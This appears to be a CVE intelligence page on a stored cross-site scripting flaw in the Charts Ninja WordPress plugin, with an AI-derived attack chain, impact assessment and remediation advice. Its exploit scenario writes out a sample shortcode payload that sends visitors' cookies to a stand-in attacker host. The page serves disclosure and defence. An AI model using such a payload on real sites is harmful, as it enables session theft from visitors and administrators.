Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as contributor
-
DeliveryInsert malicious Charts Ninja shortcode
-
ExploitPayload stored in database
-
ExecutionVisitor loads page
-
PersistScript executes in visitor browser
-
ImpactCompromise or data exfiltration
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated WordPress user account with Contributor role or above to access the post/page editor and insert or modify a Charts Ninja shortcode with a malicious 'chartid' attribute. The vulnerability does NOT require any non-default configuration or feature enablement - the shortcode handler processes untrusted input by default. The attack is limited to authenticated users (cannot be exploited by anonymous visitors), and the attacker must have the ability to publish or edit content. Sites using role-based access control to restrict contributor access to specific, trusted users significantly reduce exploitation likelihood. Additionally, any Content Security Policy (CSP) headers properly configured on the site could mitigate stored XSS impact even if the payload is injected. |
| Impact | CVSS 6.4 (Medium) with Network vector and Low complexity reflects realistic exploitation difficulty: the attack requires authentication (Contributor role or higher) but can affect other users across the site (Scope: Changed). EPSS and KEV status are not provided in available intelligence, so exploitation frequency cannot be assessed independently. The authentication barrier (PR:L) significantly limits real-world risk compared to unauthenticated XSS, as it requires either a compromised contributor account or an insider threat. However, the Stored nature and Scope:Changed rating indicate cross-site impact - a malicious contributor can affect all site visitors. The primary risk vector is compromised or malicious contributor accounts, which is lower-probability than unauthenticated attacks but high-consequence if realized. Defense-in-depth WordPress access controls (contributor account isolation, activity monitoring) are more effective mitigations than patching alone. |
| Exploit ScenarioDerived | A malicious or compromised user with WordPress Contributor access logs into the site and creates or edits a post containing the Charts Ninja shortcode. The attacker injects malicious JavaScript into the 'chartid' attribute, for example: [charts-ninja chartid='<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">']. When any site visitor (including administrators) views the post, the injected script executes in their browser context, potentially stealing session cookies or redirecting them to a phishing site. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Stored cross-site scripting in Charts Ninja: Create Beautiful Graphs & Charts plugin for WordPress (all versions up to 2.1.0) allows authenticated contributors and above to inject arbitrary JavaScript via the 'chartid' shortcode attribute due to insufficient input sanitization and output escaping. Injected scripts execute in the context of any user viewing the affected page, potentially compromising site visitors and administrative accounts. No public exploit code or active exploitation has been confirmed at this time.
RemediationAI
Update the Charts Ninja plugin to a version newer than 2.1.0 once available from the plugin developer or WordPress plugin repository. Until a patched version is released, site administrators should restrict Contributor-level access to only trusted users and monitor contributor accounts for suspicious activity. WordPress administrators can also disable the Charts Ninja plugin entirely if not actively in use, or restrict shortcode functionality to administrators only via custom code modifications. Consider implementing a Web Application Firewall (WAF) rule to detect and block script injection patterns in shortcode attributes as a compensating control, though this may generate false positives and requires ongoing maintenance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Charts Ninja is a WordPress plugin that provides shortcode functionality to embed charts and graphs into posts and pages. The vulnerability exists in the shortcode handler that processes the 'chartid' parameter without proper sanitization before output. The underlying issue is a Stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where user-supplied input from the shortcode attribute is stored in the WordPress database and later rendered on the page without HTML entity encoding or JavaScript context escaping. This allows attackers to embed malicious scripts that persist in the database and execute every time the page is served to any user, including administrators.
Know when Charts Ninja gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Charts Ninja: Create Beautiful Graphs & Charts and Easily Add Them to Your Website plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'chartid' shortcode attribute in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-27183
GHSA-q9gg-cpq5-g6mh
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB